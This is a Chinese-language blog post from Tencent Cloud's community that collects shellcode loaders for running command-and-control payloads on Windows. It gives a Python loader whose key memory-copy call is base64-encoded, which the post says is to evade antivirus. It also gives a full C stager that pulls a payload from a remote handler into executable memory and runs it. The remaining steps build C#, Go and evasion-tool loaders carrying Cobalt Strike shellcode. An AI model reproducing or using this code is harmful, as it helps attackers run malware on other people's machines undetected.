专栏首页web安全(One)各类shellcode_loader
原创

各类shellcode_loader

python_loader

#!/usr/bin/python 
import ctypes
import base64
def shellcodeload(shellcode):
    ctypes.windll.kernel32.VirtualAlloc.restype=ctypes.c_uint64
    ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
                                              ctypes.c_int(len(shellcode)),
                                              ctypes.c_int(0x3000),
                                              ctypes.c_int(0x40))
    buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
    eval(base64.b64decode("Y3R5cGVzLndpbmRsbC5rZXJuZWwzMi5SdGxNb3ZlTWVtb3J5KGN0eXBlcy5jX2ludChwdHIpLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJ1ZiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjdHlwZXMuY19pbnQobGVuKHNoZWxsY29kZSkpKQ=="))

    ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
                                             ctypes.c_int(0),
                                             ctypes.c_int(ptr),
                                              ctypes.c_int(0),
                                             ctypes.c_int(0),
                                             ctypes.pointer(ctypes.c_int(0)))
    ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))

if __name__ == '__main__':
     shellcodeload(bytearray(b'此处放置shellcode'))

已经对关键部分进行了base64加密可起到绕过杀软作用,其他可以自行对其进行优化

也可将其打包成exe文件

pyinstaller -F 文件  --noconsole

C语言loader

项目地址:https://github.com/rsmudge/metasploit-loader

#include <stdio.h>
#include <stdlib.h>
#include <winsock2.h>
#include <windows.h>


/* init winsock */
void winsock_init() {
	WSADATA	wsaData;
	WORD 		wVersionRequested;

	wVersionRequested = MAKEWORD(2, 2);

	if (WSAStartup(wVersionRequested, &wsaData) < 0) {
		printf("ws2_32.dll is out of date.\n");
		WSACleanup();
		exit(1);
	}
}

/* a quick routine to quit and report why we quit */
void punt(SOCKET my_socket, char * error) {
	printf("Bad things: %s\n", error);
	closesocket(my_socket);
	WSACleanup();
	exit(1);
}

/* attempt to receive all of the requested data from the socket */
int recv_all(SOCKET my_socket, void * buffer, int len) {
	int    tret   = 0;
	int    nret   = 0;
	void * startb = buffer;
	while (tret < len) {
		nret = recv(my_socket, (char *)startb, len - tret, 0);
		startb += nret;
		tret   += nret;

		if (nret == SOCKET_ERROR)
			punt(my_socket, "Could not receive data");
	}
	return tret;
}

/* establish a connection to a host:port */
SOCKET wsconnect(char * targetip, int port) {
	struct hostent *		target;
	struct sockaddr_in 	sock;
	SOCKET 			my_socket;

	/* setup our socket */
	my_socket = socket(AF_INET, SOCK_STREAM, 0);
	if (my_socket == INVALID_SOCKET)
		punt(my_socket, "Could not initialize socket");

	/* resolve our target */
	target = gethostbyname(targetip);
	if (target == NULL)
		punt(my_socket, "Could not resolve target");


	/* copy our target information into the sock */
	memcpy(&sock.sin_addr.s_addr, target->h_addr, target->h_length);
	sock.sin_family = AF_INET;
	sock.sin_port = htons(port);

	/* attempt to connect */
	if ( connect(my_socket, (struct sockaddr *)&sock, sizeof(sock)) )
		punt(my_socket, "Could not connect to target");

	return my_socket;
}


int main(int argc, char * argv[]) {
	ULONG32 size;
	char * buffer;
	void (*function)();

	winsock_init();

	if (argc != 3) {
		printf("%s [host] [port]\n", argv[0]);
		exit(1);
	}

	/* connect to the handler */
	SOCKET my_socket = wsconnect(argv[1], atoi(argv[2]));

	/* read the 4-byte length */
	int count = recv(my_socket, (char *)&size, 4, 0);
	if (count != 4 || size <= 0)
		punt(my_socket, "read a strange or incomplete length value\n");

	/* allocate a RWX buffer */
	buffer = VirtualAlloc(0, size + 5, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	if (buffer == NULL)
		punt(my_socket, "could not allocate buffer\n");

	/* prepend a little assembly to move our SOCKET value to the EDI register
	   thanks mihi for pointing this out
	   BF 78 56 34 12     =>      mov edi, 0x12345678 */
	buffer[0] = 0xBF;

	/* copy the value of our socket to the buffer */
	memcpy(buffer + 1, &my_socket, 4);

	/* read bytes into the buffer */
	count = recv_all(my_socket, buffer + 5, size);

	/* cast our buffer as a function and call it */
	function = (void (*)())buffer;
	function();

	return 0;
}

对代码进行混淆在生成exe即可

C# loader

项目地址:https://github.com/antman1p/ShellCodeRunner

打开这个文件生成exe文件

运行这个exe文件

需要一个bin文件,在c2中生成bin

会在目录下生成这这个文件

将新生成的bin文件放到指定目录下

在生成项目文件就可以了

Golang loader

项目地址:https://github.com/jax777/shellcode-launch

将文件放在go语言文件包的src目录下

我这里直接写成bat和sh

用cobaltstrike生成c语言的shellcode

在这个位置插入c语言的shellcode

最后点击bat脚本就生成了载荷

项目地址:https://github.com/vyrus001/shellGo

在如下地方插入c#的shellcode

go build main.go

生成exe

AV_Evasion_Tool

项目地址:https://github.com/1y0n/AV_Evasion_Tool/

原创声明,本文系作者授权云+社区发表,未经许可,不得转载。

如有侵权,请联系 yunjia_community@tencent.com 删除。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • dart(一)--变量,各数据类型dart(一)--变量,各数据类型

    用户8893176
  • Vue 各类数据绑定

    『天下武功,唯快不破』√,这一直是对武学造诣方面的追捧,虽然对于这个丝毫不会;更是对待现实工作不懈渴求,乃至苛求。因为这已不是遁隐修行,而是职场卖命,唯有先快速...

    晚晴幽草轩轩主
  • 各类的梯度优化

    梯度下降是最流行的优化算法之一并且目前为止是优化神经网络最常见的算法。与此同时,每一个先进的深度学习库都包含各种算法实现的梯度下降(比如lasagne, caf...

    计算机视觉研究院
  • python 各类GIS分析包

    shapely-开源GIS库Pysal-空间计量库Geopandas-空间数据分析库Arcpy-arcgis python接口Arcgis API for py...

    用户7886150
  • 探究MySQL各类文件

    前两篇我们了解到MySQL的整体架构,其分为了四层,包括网络连接层,核心层,存储引擎层,物理层,以及各层的作用。另外还知道了InnoDB存储引擎层的架构,包括缓...

    陈琛
  • SpringBoot各类扩展点详解

      上篇文章我们深入分析了SpringBoot的一站式启动流程。然后我们知道SpringBoot的主要功能都是依靠它内部很多的扩展点来完成的,那毋容置疑,这些扩...

    阿豪聊干货
  • vue引入各类ui库 原

    本身集成并没有vue的部分,我们采用的方式是把ui-css部分拿来使用,js效果自己用jquery写到methods里

    晓歌
  • C# 各种类型的转换

    /// <summary> /// 一些常用的方法 /// 1、一些高效的转换方法 /// </summary> public...

    纯粹是糖
  • C#中GetHashCode的各类实现

    首先声明一下,这里的GetHashCode是Object.GetHashCode,是需要在对象中定义的函数。这个函数在对象被插入到字典Dictionary<TK...

    太阳影的社区
  • HTML5-类库系列 类名的各种操作

    HTML5学堂:最近讲师团队在学习JS类库的知识,因此就跟大家一起共享一下类库的搭建吧。今天要讲解的功能是:类名的各种操作。在这里,HTML5学堂提醒各位,不要...

    HTML5学堂
  • 【Spark Mllib】分类模型——各分类模型使用

    这个数据集源自 Kaggle 比赛,由 StumbleUpon 提供。比赛的问题涉及网页中推荐的页面是短暂(短暂存在,很快就不流行了)还是长久(长时间流行)。

    用户1621453
  • Android中的各种Drawable类详解

    图形图像的绘制需要在画布上进行操作和处理,但是绘制需要了解很多细节以及可能要进行一些复杂的处理,这样就会增加学习和使用的成本,因此系统提供了一个被称之为Draw...

    欧阳大哥2013
  • http协议的各类状态码

    http协议的状态码 1xx(临时响应) 表示临时响应并需要请求者继续执行操作的状态码。 100(继续) 请求者应当继续提出请求。服务器返回此代码...

    863987322
  • Android各类权限意思祥解

    1. android.permission.ACCESS_CHECKIN_PROPERTIES     允许读写访问”properties”表在 checkin...

    林冠宏-指尖下的幽灵
  • MongoDB中各种类型的索引

    上篇文章中我们介绍了MongoDB中索引的简单操作,创建、查看、删除等基本操作,不过上文我们只介绍了一种类型的索引,本文我们来看看其他类型的索引。 ---- _...

    江南一点雨
  • 各类远程工具对比 原

    界面及简,连接较快,但是传播上慢点。举例说,在腾讯云上直接下载就块点,几百K,用这个显示只有几十K。能用,但是时间长看白色界面很累。

    晓歌
  • python 各类距离公式实现

    两个n维变量A(x11,x12,…,x1n)与 B(x21,x22,…,x2n)间的闵可夫斯基距离定义为:

    周小董
  • python各种类型转换-int,str

    py3study
  • 「R」ggplotify——连接各类R图形

    在作图的时候想拼接不同的图形对象,如pheatmap 包的热图、ggplot2 对象以及 base 图形等。这里找到了Y叔的ggplotify包,以下是对 Vi...

    王诗翔呀

扫码关注云+社区

领取腾讯云代金券